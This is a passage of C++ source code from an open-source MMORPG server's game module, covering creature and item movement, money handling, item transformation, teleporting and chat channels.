        if(!(*it)->executePush(player, movingCreature) && !deny)
            deny = true;
    }

    if(deny)
        return false;

    ReturnValue ret = internalMoveCreature(player, movingCreature, movingCreature->getTile(), toTile);
    if(ret != RET_NOERROR)
    {
        if(!player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar) || !player->hasCustomFlag(PlayerCustomFlag_CanMoveAnywhere))
        {
            player->sendCancelMessage(ret);
            return false;
        }

        if(!toTile->ground)
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return true;
        }

        internalTeleport(movingCreature, toTile->getPosition(), true);
        return true;
    }

    if(Player* movingPlayer = movingCreature->getPlayer())
    {
        uint64_t delay = OTSYS_TIME() + movingPlayer->getStepDuration();
        if(delay > movingPlayer->getNextActionTime())
            movingPlayer->setNextAction(delay);
    }

    return true;
}

ReturnValue Game::internalMoveCreature(Creature* creature, Direction direction, uint32_t flags/* = 0*/)
{
    const Position& currentPos = creature->getPosition();
    Cylinder* fromTile = creature->getTile();
    Cylinder* toTile = NULL;

    Position destPos = getNextPosition(direction, currentPos);
    if(direction < SOUTHWEST && creature->getPlayer())
    {
        Tile* tmpTile = NULL;
        if(currentPos.z != 8 && creature->getTile()->hasHeight(3)) //try go up
        {
            if((!(tmpTile = map->getTile(Position(currentPos.x, currentPos.y, currentPos.z - 1)))
                || (!tmpTile->ground && !tmpTile->hasProperty(BLOCKSOLID))) &&
                (tmpTile = map->getTile(Position(destPos.x, destPos.y, destPos.z - 1)))
                && tmpTile->ground && !tmpTile->hasProperty(BLOCKSOLID))
            {
                flags = flags | FLAG_IGNOREBLOCKITEM | FLAG_IGNOREBLOCKCREATURE;
                destPos.z--;
            }
        }
        else if(currentPos.z != 7 && (!(tmpTile = map->getTile(destPos)) || (!tmpTile->ground &&
            !tmpTile->hasProperty(BLOCKSOLID))) && (tmpTile = map->getTile(Position(
            destPos.x, destPos.y, destPos.z + 1))) && tmpTile->hasHeight(3)) //try go down
        {
            flags = flags | FLAG_IGNOREBLOCKITEM | FLAG_IGNOREBLOCKCREATURE;
            destPos.z++;
        }
    }
    ReturnValue ret = RET_NOTPOSSIBLE;
    if((toTile = map->getTile(destPos)))
        ret = internalMoveCreature(NULL, creature, fromTile, toTile, flags);

    if(ret != RET_NOERROR)
    {
        if(Player* player = creature->getPlayer())
        {
            player->sendCancelMessage(ret);
            player->sendCancelWalk();
        }
    }
    return ret;
}

ReturnValue Game::internalMoveCreature(Creature* actor, Creature* creature, Cylinder* fromCylinder, Cylinder* toCylinder, uint32_t flags/* = 0*/)
{
    //check if we can move the creature to the destination
    ReturnValue ret = toCylinder->__queryAdd(0, creature, 1, flags);
    if(ret != RET_NOERROR)
        return ret;

    fromCylinder->getTile()->moveCreature(actor, creature, toCylinder);
    if(creature->getParent() != toCylinder)
        return RET_NOERROR;

    Item* toItem = NULL;
    Cylinder* subCylinder = NULL;

    int32_t n = 0, tmp = 0;
    while((subCylinder = toCylinder->__queryDestination(tmp, creature, &toItem, flags)) != toCylinder)
    {
        toCylinder->getTile()->moveCreature(actor, creature, subCylinder);
        if(creature->getParent() != subCylinder) //could happen if a script move the creature
             break;

        toCylinder = subCylinder;
        flags = 0;
        if(++n >= MAP_MAX_LAYERS) //to prevent infinite loop
            break;
    }

    return RET_NOERROR;
}

bool Game::playerMoveItem(uint32_t playerId, const Position& fromPos,
    uint16_t spriteId, int16_t fromStackpos, const Position& toPos, uint8_t count)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved() || player->hasFlag(PlayerFlag_CannotMoveItems))
        return false;

    if(!player->canDoAction())
    {
        uint32_t delay = player->getNextActionTime();
        SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerMoveItem, this,
            playerId, fromPos, spriteId, fromStackpos, toPos, count));

        player->setNextActionTask(task);
        return false;
    }

    player->setNextActionTask(NULL);
    Cylinder* fromCylinder = internalGetCylinder(player, fromPos);

    uint8_t fromIndex = 0;
    if(fromPos.x == 0xFFFF)
    {
        if(fromPos.y & 0x40)
            fromIndex = static_cast<uint8_t>(fromPos.z);
        else
            fromIndex = static_cast<uint8_t>(fromPos.y);
    }
    else
        fromIndex = fromStackpos;

    Thing* thing = internalGetThing(player, fromPos, fromIndex, spriteId, STACKPOS_MOVE);
    if(!thing || !thing->getItem())
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    Item* item = thing->getItem();
    Cylinder* toCylinder = internalGetCylinder(player, toPos);

    uint8_t toIndex = 0;
    if(toPos.x == 0xFFFF)
    {
        if(toPos.y & 0x40)
            toIndex = static_cast<uint8_t>(toPos.z);
        else
            toIndex = static_cast<uint8_t>(toPos.y);
    }

    if(!fromCylinder || !toCylinder || !item || item->getClientID() != spriteId)
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    if(!player->hasCustomFlag(PlayerCustomFlag_CanPushAllItems) && (!item->isPushable() || (item->isLoadedFromMap() &&
        (item->getUniqueId() != 0 || (item->getActionId() != 0 && item->getContainer())))))
    {
        player->sendCancelMessage(RET_NOTMOVEABLE);
        return false;
    }

    const Position& mapFromPos = fromCylinder->getTile()->getPosition();
    const Position& mapToPos = toCylinder->getTile()->getPosition();

    const Position& playerPos = player->getPosition();
    if(playerPos.z > mapFromPos.z && !player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere))
    {
        player->sendCancelMessage(RET_FIRSTGOUPSTAIRS);
        return false;
    }

    if(playerPos.z < mapFromPos.z && !player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere))
    {
        player->sendCancelMessage(RET_FIRSTGODOWNSTAIRS);
        return false;
    }

    if(!Position::areInRange<1,1,0>(playerPos, mapFromPos) && !player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar))
    {
        //need to walk to the item first before using it
        std::list<Direction> listDir;
        if(getPathToEx(player, item->getPosition(), listDir, 0, 1, true, true))
        {
            Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                this, player->getID(), listDir)));
            SchedulerTask* task = createSchedulerTask(player->getStepDuration(), boost::bind(&Game::playerMoveItem, this,
                playerId, fromPos, spriteId, fromStackpos, toPos, count));

            player->setNextWalkActionTask(task);
            return true;
        }

        player->sendCancelMessage(RET_THEREISNOWAY);
        return false;
    }

    //hangable item specific code
    if(item->isHangable() && toCylinder->getTile()->hasProperty(SUPPORTHANGABLE))
    {
        //destination supports hangable objects so need to move there first
        if(toCylinder->getTile()->hasProperty(ISVERTICAL))
        {
            if(player->getPosition().x + 1 == mapToPos.x)
            {
                player->sendCancelMessage(RET_NOTPOSSIBLE);
                return false;
            }
        }
        else if(toCylinder->getTile()->hasProperty(ISHORIZONTAL))
        {
            if(player->getPosition().y + 1 == mapToPos.y)
            {
                player->sendCancelMessage(RET_NOTPOSSIBLE);
                return false;
            }
        }

        if(!Position::areInRange<1,1,0>(playerPos, mapToPos) && !player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar))
        {
            Position walkPos = mapToPos;
            if(toCylinder->getTile()->hasProperty(ISVERTICAL))
                walkPos.x -= -1;

            if(toCylinder->getTile()->hasProperty(ISHORIZONTAL))
                walkPos.y -= -1;

            Position itemPos = fromPos;
            int16_t itemStackpos = fromStackpos;
            if(fromPos.x != 0xFFFF && Position::areInRange<1,1,0>(mapFromPos, player->getPosition())
                && !Position::areInRange<1,1,0>(mapFromPos, walkPos))
            {
                //need to pickup the item first
                Item* moveItem = NULL;
                ReturnValue ret = internalMoveItem(player, fromCylinder, player, INDEX_WHEREEVER, item, count, &moveItem);
                if(ret != RET_NOERROR)
                {
                    player->sendCancelMessage(ret);
                    return false;
                }

                //changing the position since its now in the inventory of the player
                internalGetPosition(moveItem, itemPos, itemStackpos);
            }

            std::list<Direction> listDir;
            if(map->getPathTo(player, walkPos, listDir))
            {
                Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                    this, player->getID(), listDir)));
                SchedulerTask* task = createSchedulerTask(player->getStepDuration(), boost::bind(&Game::playerMoveItem, this,
                    playerId, itemPos, spriteId, itemStackpos, toPos, count));

                player->setNextWalkActionTask(task);
                return true;
            }

            player->sendCancelMessage(RET_THEREISNOWAY);
            return false;
        }
    }

    if(!player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere))
    {
        if((std::abs(playerPos.x - mapToPos.x) > item->getThrowRange()) ||
            (std::abs(playerPos.y - mapToPos.y) > item->getThrowRange()) ||
            (std::abs(mapFromPos.z - mapToPos.z) * 4 > item->getThrowRange()))
        {
            player->sendCancelMessage(RET_DESTINATIONOUTOFREACH);
            return false;
        }
    }

    if(!canThrowObjectTo(mapFromPos, mapToPos) && !player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere))
    {
        player->sendCancelMessage(RET_CANNOTTHROW);
        return false;
    }

    ReturnValue ret = internalMoveItem(player, fromCylinder, toCylinder, toIndex, item, count, NULL);
    if(ret == RET_NOERROR)
        return true;

    player->sendCancelMessage(ret);
    return false;
}

ReturnValue Game::internalMoveItem(Creature* actor, Cylinder* fromCylinder, Cylinder* toCylinder,
    int32_t index, Item* item, uint32_t count, Item** _moveItem, uint32_t flags /*= 0*/)
{
    if(!toCylinder)
        return RET_NOTPOSSIBLE;

    if(!item->getParent())
    {
        assert(fromCylinder == item->getParent());
        return internalAddItem(actor, toCylinder, item, INDEX_WHEREEVER, FLAG_NOLIMIT);
    }

    Item* toItem = NULL;
    Cylinder* subCylinder = NULL;

    int32_t floor = 0;
    while((subCylinder = toCylinder->__queryDestination(index, item, &toItem, flags)) != toCylinder)
    {
        toCylinder = subCylinder;
        flags = 0;
        //to prevent infinite loop
        if(++floor >= MAP_MAX_LAYERS)
            break;
    }

    //destination is the same as the source?
    if(item == toItem)
        return RET_NOERROR; //silently ignore move

    //check if we can add this item
    ReturnValue ret = toCylinder->__queryAdd(index, item, count, flags);
    if(ret == RET_NEEDEXCHANGE)
    {
        //check if we can add it to source cylinder
        int32_t fromIndex = fromCylinder->__getIndexOfThing(item);

        ret = fromCylinder->__queryAdd(fromIndex, toItem, toItem->getItemCount(), 0);
        if(ret == RET_NOERROR)
        {
            //check how much we can move
            uint32_t maxExchangeQueryCount = 0;
            ReturnValue retExchangeMaxCount = fromCylinder->__queryMaxCount(-1, toItem, toItem->getItemCount(), maxExchangeQueryCount, 0);

            if(retExchangeMaxCount != RET_NOERROR && maxExchangeQueryCount == 0)
                return retExchangeMaxCount;

            if((toCylinder->__queryRemove(toItem, toItem->getItemCount(), flags) == RET_NOERROR) && ret == RET_NOERROR)
            {
                int32_t oldToItemIndex = toCylinder->__getIndexOfThing(toItem);
                toCylinder->__removeThing(toItem, toItem->getItemCount());

                fromCylinder->__addThing(actor, toItem);
                if(oldToItemIndex != -1)
                    toCylinder->postRemoveNotification(actor, toItem, fromCylinder, oldToItemIndex, true);

                int32_t newToItemIndex = fromCylinder->__getIndexOfThing(toItem);
                if(newToItemIndex != -1)
                    fromCylinder->postAddNotification(actor, toItem, toCylinder, newToItemIndex);

                ret = toCylinder->__queryAdd(index, item, count, flags);
                toItem = NULL;
            }
        }
    }

    if(ret != RET_NOERROR)
        return ret;

    //check how much we can move
    uint32_t maxQueryCount = 0;
    ReturnValue retMaxCount = toCylinder->__queryMaxCount(index, item, count, maxQueryCount, flags);
    if(retMaxCount != RET_NOERROR && !maxQueryCount)
        return retMaxCount;

    uint32_t m = maxQueryCount, n = 0;
    if(item->isStackable())
        m = std::min((uint32_t)count, m);

    Item* moveItem = item;
    //check if we can remove this item
    ret = fromCylinder->__queryRemove(item, m, flags);
    if(ret != RET_NOERROR)
        return ret;

    //remove the item
    int32_t itemIndex = fromCylinder->__getIndexOfThing(item);
    fromCylinder->__removeThing(item, m);

    bool isCompleteRemoval = item->isRemoved();
    Item* updateItem = NULL;
    //update item(s)
    if(item->isStackable())
    {
        if(toItem && toItem->getID() == item->getID())
        {
            n = std::min((uint32_t)100 - toItem->getItemCount(), m);
            toCylinder->__updateThing(toItem, toItem->getID(), toItem->getItemCount() + n);
            updateItem = toItem;
        }

        if(m - n > 0)
            moveItem = Item::CreateItem(item->getID(), m - n);
        else
            moveItem = NULL;

        if(item->isRemoved())
            freeThing(item);
    }

    //add item
    if(moveItem /*m - n > 0*/)
        toCylinder->__addThing(actor, index, moveItem);

    if(itemIndex != -1)
        fromCylinder->postRemoveNotification(actor, item, toCylinder, itemIndex, isCompleteRemoval);

    if(moveItem)
    {
        int32_t moveItemIndex = toCylinder->__getIndexOfThing(moveItem);
        if(moveItemIndex != -1)
            toCylinder->postAddNotification(actor, moveItem, fromCylinder, moveItemIndex);
    }

    if(updateItem)
    {
        int32_t updateItemIndex = toCylinder->__getIndexOfThing(updateItem);
        if(updateItemIndex != -1)
            toCylinder->postAddNotification(actor, updateItem, fromCylinder, updateItemIndex);
    }

    if(_moveItem)
    {
        if(moveItem)
            *_moveItem = moveItem;
        else
            *_moveItem = item;
    }

    //we could not move all, inform the player
    if(item->isStackable() && maxQueryCount < count)
        return retMaxCount;

    return ret;
}

ReturnValue Game::internalAddItem(Creature* actor, Cylinder* toCylinder, Item* item, int32_t index /*= INDEX_WHEREEVER*/,
    uint32_t flags /*= 0*/, bool test /*= false*/)
{
    if(!toCylinder || !item)
        return RET_NOTPOSSIBLE;

    Item* toItem = NULL;
    toCylinder = toCylinder->__queryDestination(index, item, &toItem, flags);

    ReturnValue ret = toCylinder->__queryAdd(index, item, item->getItemCount(), flags);
    if(ret != RET_NOERROR)
        return ret;

    uint32_t maxQueryCount = 0;
    ret = toCylinder->__queryMaxCount(index, item, item->getItemCount(), maxQueryCount, flags);
    if(ret != RET_NOERROR)
        return ret;

    if(!test)
    {
        uint32_t m = maxQueryCount;
        if(item->isStackable())
            m = std::min((uint32_t)item->getItemCount(), maxQueryCount);

        Item* moveItem = item;
        if(item->isStackable() && toItem && toItem->getID() == item->getID())
        {
            uint32_t n = std::min((uint32_t)100 - toItem->getItemCount(), m);
            toCylinder->__updateThing(toItem, toItem->getID(), toItem->getItemCount() + n);
            if(m - n > 0)
            {
                if(m - n != item->getItemCount())
                    moveItem = Item::CreateItem(item->getID(), m - n);
            }
            else
            {
                moveItem = NULL;
                if(item->getParent() != VirtualCylinder::virtualCylinder)
                {
                    item->onRemoved();
                    freeThing(item);
                }
            }
        }

        if(moveItem)
        {
            toCylinder->__addThing(actor, index, moveItem);
            int32_t moveItemIndex = toCylinder->__getIndexOfThing(moveItem);
            if(moveItemIndex != -1)
                toCylinder->postAddNotification(actor, moveItem, NULL, moveItemIndex);
        }
        else
        {
            int32_t itemIndex = toCylinder->__getIndexOfThing(item);
            if(itemIndex != -1)
                toCylinder->postAddNotification(actor, item, NULL, itemIndex);
        }
    }

    return RET_NOERROR;
}

ReturnValue Game::internalRemoveItem(Creature* actor, Item* item, int32_t count /*= -1*/, bool test /*= false*/, uint32_t flags /*= 0*/)
{
    Cylinder* cylinder = item->getParent();
    if(!cylinder)
        return RET_NOTPOSSIBLE;

    if(count == -1)
        count = item->getItemCount();

    //check if we can remove this item
    ReturnValue ret = cylinder->__queryRemove(item, count, flags | FLAG_IGNORENOTMOVEABLE);
    if(ret != RET_NOERROR)
        return ret;

    if(!item->canRemove())
        return RET_NOTPOSSIBLE;

    if(!test)
    {
        //remove the item
        int32_t index = cylinder->__getIndexOfThing(item);
        cylinder->__removeThing(item, count);

        bool isCompleteRemoval = false;
        if(item->isRemoved())
        {
            isCompleteRemoval = true;
            freeThing(item);
        }

        cylinder->postRemoveNotification(actor, item, NULL, index, isCompleteRemoval);
    }

    item->onRemoved();
    return RET_NOERROR;
}

ReturnValue Game::internalPlayerAddItem(Creature* actor, Player* player, Item* item, bool dropOnMap /*= true*/)
{
    ReturnValue ret = internalAddItem(actor, player, item);
    if(ret != RET_NOERROR && dropOnMap)
        ret = internalAddItem(actor, player->getTile(), item, INDEX_WHEREEVER, FLAG_NOLIMIT);

    return ret;
}

Item* Game::findItemOfType(Cylinder* cylinder, uint16_t itemId,
    bool depthSearch /*= true*/, int32_t subType /*= -1*/)
{
    if(!cylinder)
        return false;

    std::list<Container*> listContainer;
    Container* tmpContainer = NULL;

    Thing* thing = NULL;
    Item* item = NULL;
    for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex();)
    {
        if((thing = cylinder->__getThing(i)) && (item = thing->getItem()))
        {
            if(item->getID() == itemId && (subType == -1 || subType == item->getSubType()))
                return item;
            else
            {
                ++i;
                if(depthSearch && (tmpContainer = item->getContainer()))
                    listContainer.push_back(tmpContainer);
            }
        }
        else
            ++i;
    }

    while(listContainer.size() > 0)
    {
        Container* container = listContainer.front();
        listContainer.pop_front();
        for(int32_t i = 0; i < (int32_t)container->size();)
        {
            Item* item = container->getItem(i);
            if(item->getID() == itemId && (subType == -1 || subType == item->getSubType()))
                return item;
            else
            {
                ++i;
                if((tmpContainer = item->getContainer()))
                    listContainer.push_back(tmpContainer);
            }
        }
    }

    return NULL;
}

bool Game::removeItemOfType(Cylinder* cylinder, uint16_t itemId, int32_t count, int32_t subType /*= -1*/)
{
    if(!cylinder || ((int32_t)cylinder->__getItemTypeCount(itemId, subType) < count))
        return false;

    if(count <= 0)
        return true;

    std::list<Container*> listContainer;
    Container* tmpContainer = NULL;

    Thing* thing = NULL;
    Item* item = NULL;
    for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex() && count > 0;)
    {
        if((thing = cylinder->__getThing(i)) && (item = thing->getItem()))
        {
            if(item->getID() == itemId)
            {
                if(item->isStackable())
                {
                    if(item->getItemCount() > count)
                    {
                        internalRemoveItem(NULL, item, count);
                        count = 0;
                    }
                    else
                    {
                        count -= item->getItemCount();
                        internalRemoveItem(NULL, item);
                    }
                }
                else if(subType == -1 || subType == item->getSubType())
                {
                    --count;
                    internalRemoveItem(NULL, item);
                }
            }
            else
            {
                ++i;
                if((tmpContainer = item->getContainer()))
                    listContainer.push_back(tmpContainer);
            }
        }
        else
            ++i;
    }

    while(listContainer.size() > 0 && count > 0)
    {
        Container* container = listContainer.front();
        listContainer.pop_front();
        for(int32_t i = 0; i < (int32_t)container->size() && count > 0;)
        {
            Item* item = container->getItem(i);
            if(item->getID() == itemId)
            {
                if(item->isStackable())
                {
                    if(item->getItemCount() > count)
                    {
                        internalRemoveItem(NULL, item, count);
                        count = 0;
                    }
                    else
                    {
                        count-= item->getItemCount();
                        internalRemoveItem(NULL, item);
                    }
                }
                else if(subType == -1 || subType == item->getSubType())
                {
                    --count;
                    internalRemoveItem(NULL, item);
                }
            }
            else
            {
                ++i;
                if((tmpContainer = item->getContainer()))
                    listContainer.push_back(tmpContainer);
            }
        }
    }

    return (count == 0);
}

uint32_t Game::getMoney(const Cylinder* cylinder)
{
    if(!cylinder)
        return 0;

    std::list<Container*> listContainer;
    Container* tmpContainer = NULL;

    Thing* thing = NULL;
    Item* item = NULL;

    uint32_t moneyCount = 0;
    for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex(); ++i)
    {
        if(!(thing = cylinder->__getThing(i)))
            continue;

        if(!(item = thing->getItem()))
            continue;

        if((tmpContainer = item->getContainer()))
            listContainer.push_back(tmpContainer);
        else if(item->getWorth() != 0)
            moneyCount += item->getWorth();
    }

    while(listContainer.size() > 0)
    {
        Container* container = listContainer.front();
        listContainer.pop_front();
        for(ItemList::const_iterator it = container->getItems(); it != container->getEnd(); ++it)
        {
            item = *it;
            if((tmpContainer = item->getContainer()))
                listContainer.push_back(tmpContainer);
            else if(item->getWorth() != 0)
                moneyCount += item->getWorth();
        }
    }

    return moneyCount;
}

bool Game::removeMoney(Cylinder* cylinder, int32_t money, uint32_t flags /*= 0*/)
{
    if(!cylinder)
        return false;

    if(money <= 0)
        return true;

    typedef std::multimap<int32_t, Item*, std::less<int32_t> > MoneyMultiMap;
    MoneyMultiMap moneyMap;

    std::list<Container*> listContainer;
    Container* tmpContainer = NULL;

    Thing* thing = NULL;
    Item* item = NULL;

    int32_t moneyCount = 0;
    for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex() && money > 0; ++i)
    {
        if(!(thing = cylinder->__getThing(i)))
            continue;

        if(!(item = thing->getItem()))
            continue;

        if((tmpContainer = item->getContainer()))
            listContainer.push_back(tmpContainer);
        else if(item->getWorth() != 0)
        {
            moneyCount += item->getWorth();
            moneyMap.insert(std::make_pair(item->getWorth(), item));
        }
    }

    while(listContainer.size() > 0 && money > 0)
    {
        Container* container = listContainer.front();
        listContainer.pop_front();
        for(int32_t i = 0; i < (int32_t)container->size() && money > 0; i++)
        {
            Item* item = container->getItem(i);
            if((tmpContainer = item->getContainer()))
                listContainer.push_back(tmpContainer);
            else if(item->getWorth() != 0)
            {
                moneyCount += item->getWorth();
                moneyMap.insert(std::make_pair(item->getWorth(), item));
            }
        }
    }

    // Not enough money
    if(moneyCount < money)
        return false;

    for(MoneyMultiMap::iterator mit = moneyMap.begin(); mit != moneyMap.end() && money > 0; ++mit)
    {
        Item* item = mit->second;
        if(!item)
            continue;

        internalRemoveItem(NULL, item);
        if(mit->first > money)
        {
            // Remove a monetary value from an item
            int32_t remaind = item->getWorth() - money;
            addMoney(cylinder, remaind, flags);
            money = 0;
        }
        else
            money -= mit->first;

        mit->second = NULL;
    }

    moneyMap.clear();
    return money == 0;
}

void Game::addMoney(Cylinder* cylinder, int32_t money, uint32_t flags /*= 0*/)
{
    IntegerMap moneyMap = Item::items.getMoneyMap();
    int32_t tmp = 0;
    for(IntegerMap::reverse_iterator it = moneyMap.rbegin(); it != moneyMap.rend(); ++it)
    {
        tmp = money / it->first;
        money -= tmp * it->first;
        if(tmp != 0)
        {
            do
            {
                Item* remaindItem = Item::CreateItem(it->second, std::min(100, tmp));
                if(internalAddItem(NULL, cylinder, remaindItem, INDEX_WHEREEVER, flags) != RET_NOERROR)
                    internalAddItem(NULL, cylinder->getTile(), remaindItem, INDEX_WHEREEVER, FLAG_NOLIMIT);

                tmp -= std::min(100, tmp);
            }
            while(tmp > 0);
        }
    }
}

Item* Game::transformItem(Item* item, uint16_t newId, int32_t newCount /*= -1*/)
{
    if(item->getID() == newId && (newCount == -1 || (newCount == item->getSubType() && newCount != 0)))
        return item;

    Cylinder* cylinder = item->getParent();
    if(!cylinder)
        return NULL;

    int32_t itemIndex = cylinder->__getIndexOfThing(item);
    if(itemIndex == -1)
    {
#ifdef __DEBUG__
        std::cout << "Error: transformItem, itemIndex == -1" << std::endl;
#endif
        return item;
    }

    if(!item->canTransform())
        return item;

    const ItemType& curType = Item::items[item->getID()];
    const ItemType& newType = Item::items[newId];
    if(curType.alwaysOnTop != newType.alwaysOnTop)
    {
        //This only occurs when you transform items on tiles from a downItem to a topItem (or vice versa)
        //Remove the old, and add the new
        ReturnValue ret = internalRemoveItem(NULL, item);
        if(ret != RET_NOERROR)
            return item;

        Item* newItem = NULL;
        if(newCount == -1)
            newItem = Item::CreateItem(newId);
        else
            newItem = Item::CreateItem(newId, newCount);

        if(!newItem)
            return NULL;

        newItem->copyAttributes(item);
        if(internalAddItem(NULL, cylinder, newItem, INDEX_WHEREEVER, FLAG_NOLIMIT) == RET_NOERROR)
            return newItem;

        delete newItem;
        return NULL;
    }

    if(curType.type == newType.type)
    {
        //Both items has the same type so we can safely change id/subtype
        if(!newCount && (item->isStackable() || item->hasCharges()))
        {
            if(!item->isStackable() && (!item->getDefaultDuration() || item->getDuration() <= 0))
            {
                int32_t tmpId = newId;
                if(curType.id == newType.id)
                    tmpId = curType.decayTo;

                if(tmpId != -1)
                {
                    item = transformItem(item, tmpId);
                    return item;
                }
            }

            internalRemoveItem(NULL, item);
            return NULL;
        }

        uint16_t itemId = item->getID();
        int32_t count = item->getSubType();

        cylinder->postRemoveNotification(NULL, item, cylinder, itemIndex, false);
        if(curType.id != newType.id)
        {
            itemId = newId;
            if(newType.group != curType.group)
                item->setDefaultSubtype();
        }

        if(newCount != -1 && newType.hasSubType())
            count = newCount;

        cylinder->__updateThing(item, itemId, count);
        cylinder->postAddNotification(NULL, item, cylinder, itemIndex);
        return item;
    }

    //Replacing the the old item with the new while maintaining the old position
    Item* newItem = NULL;
    if(newCount == -1)
        newItem = Item::CreateItem(newId);
    else
        newItem = Item::CreateItem(newId, newCount);

    if(!newItem)
    {
        #ifdef __DEBUG__
        std::cout << "Error: [Game::transformItem] Item of type " << item->getID() << " transforming into invalid type " << newId << std::endl;
        #endif
        return NULL;
    }

    cylinder->__replaceThing(itemIndex, newItem);
    cylinder->postAddNotification(NULL, newItem, cylinder, itemIndex);

    item->setParent(NULL);
    cylinder->postRemoveNotification(NULL, item, cylinder, itemIndex, true);

    freeThing(item);
    return newItem;
}

ReturnValue Game::internalTeleport(Thing* thing, const Position& newPos, bool pushMove, uint32_t flags /*= 0*/)
{
    if(newPos == thing->getPosition())
        return RET_NOERROR;

    if(thing->isRemoved())
        return RET_NOTPOSSIBLE;

    if(Tile* toTile = map->getTile(newPos))
    {
        if(Creature* creature = thing->getCreature())
        {
            if(Position::areInRange<1,1,0>(creature->getPosition(), newPos) && pushMove)
                creature->getTile()->moveCreature(NULL, creature, toTile, false);
            else
                creature->getTile()->moveCreature(NULL, creature, toTile, true);

            return RET_NOERROR;
        }

        if(Item* item = thing->getItem())
            return internalMoveItem(NULL, item->getParent(), toTile, INDEX_WHEREEVER, item, item->getItemCount(), NULL, flags);
    }

    return RET_NOTPOSSIBLE;
}

//Implementation of player invoked events
bool Game::playerMove(uint32_t playerId, Direction dir)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(player->getNoMove())
    {
        player->sendCancelWalk();
        return false;
    }

    player->stopWalk();
    int32_t delay = player->getWalkDelay(dir);
    if(delay > 0)
    {
        player->setNextAction(OTSYS_TIME() + player->getStepDuration(dir) - SCHEDULER_MINTICKS);
        if(SchedulerTask* task = createSchedulerTask(((uint32_t)delay),
            boost::bind(&Game::playerMove, this, playerId, dir)))
            player->setNextWalkTask(task);

        return false;
    }

    player->setFollowCreature(NULL);
    player->onWalk(dir);

    player->setIdleTime(0);
    return internalMoveCreature(player, dir) == RET_NOERROR;
}

bool Game::playerBroadcastMessage(Player* player, SpeakClasses type, const std::string& text)
{
    if(!player->hasFlag(PlayerFlag_CanBroadcast) || type < SPEAK_CLASS_FIRST || type > SPEAK_CLASS_LAST)
        return false;

    for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
        it->second->sendCreatureSay(player, type, text);

    //TODO: event handling - onCreatureSay
    std::cout << "> " << player->getName() << " broadcasted: \"" << text << "\"." << std::endl;
    return true;
}

bool Game::playerCreatePrivateChannel(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved() || !player->isPremium())
        return false;

    ChatChannel* channel = g_chat.createChannel(player, 0xFFFF);
    if(!channel || !channel->addUser(player))
        return false;

    player->sendCreatePrivateChannel(channel->getId(), channel->getName());
    return true;
}

bool Game::playerChannelInvite(uint32_t playerId, const std::string& name)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    PrivateChatChannel* channel = g_chat.getPrivateChannel(player);
    if(!channel)
        return false;

    Player* invitePlayer = getPlayerByName(name);
    if(!invitePlayer)
        return false;

    channel->invitePlayer(player, invitePlayer);
    return true;
}

bool Game::playerChannelExclude(uint32_t playerId, const std::string& name)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    PrivateChatChannel* channel = g_chat.getPrivateChannel(player);
    if(!channel)
        return false;

    Player* excludePlayer = getPlayerByName(name);
    if(!excludePlayer)
        return false;

    channel->excludePlayer(player, excludePlayer);
    return true;
}

bool Game::playerRequestChannels(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    player->sendChannelsDialog();
    return true;
}

bool Game::playerOpenChannel(uint32_t playerId, uint16_t channelId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    ChatChannel* channel = g_chat.addUserToChannel(player, channelId);
    if(!channel)
    {
        #ifdef __DEBUG_CHAT__
        std::cout << "Game::playerOpenChannel - failed adding user to channel." << std::endl;
        #endif
        return false;
    }

    if(channel->getId() != CHANNEL_RVR)
        player->sendChannel(channel->getId(), channel->getName());
    else
        player->sendRuleViolationsChannel(channel->getId());

    return true;
}

bool Game::playerCloseChannel(uint32_t playerId, uint16_t channelId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    g_chat.removeUserFromChannel(player, channelId);
    return true;
}

bool Game::playerOpenPrivateChannel(uint32_t playerId, std::string& receiver)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(IOLoginData::getInstance()->playerExists(receiver))
        player->sendOpenPrivateChannel(receiver);
    else
        player->sendCancel("A player with this name does not exist.");

    return true;
}

bool Game::playerProcessRuleViolation(uint32_t playerId, const std::string& name)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(!player->hasFlag(PlayerFlag_CanAnswerRuleViolations))
        return false;

    Player* reporter = getPlayerByName(name);
    if(!reporter)
        return false;

    RuleViolationsMap::iterator it = ruleViolations.find(reporter->getID());
    if(it == ruleViolations.end())
        return false;

    RuleViolation& rvr = *it->second;
    if(!rvr.isOpen)
        return false;

    rvr.isOpen = false;
    rvr.gamemaster = player;
    if(ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR))
    {
        UsersMap tmpMap = channel->getUsers();
        for(UsersMap::iterator tit = tmpMap.begin(); tit != tmpMap.end(); ++tit)
            tit->second->sendRemoveReport(reporter->getName());
    }

    return true;
}

bool Game::playerCloseRuleViolation(uint32_t playerId, const std::string& name)
{
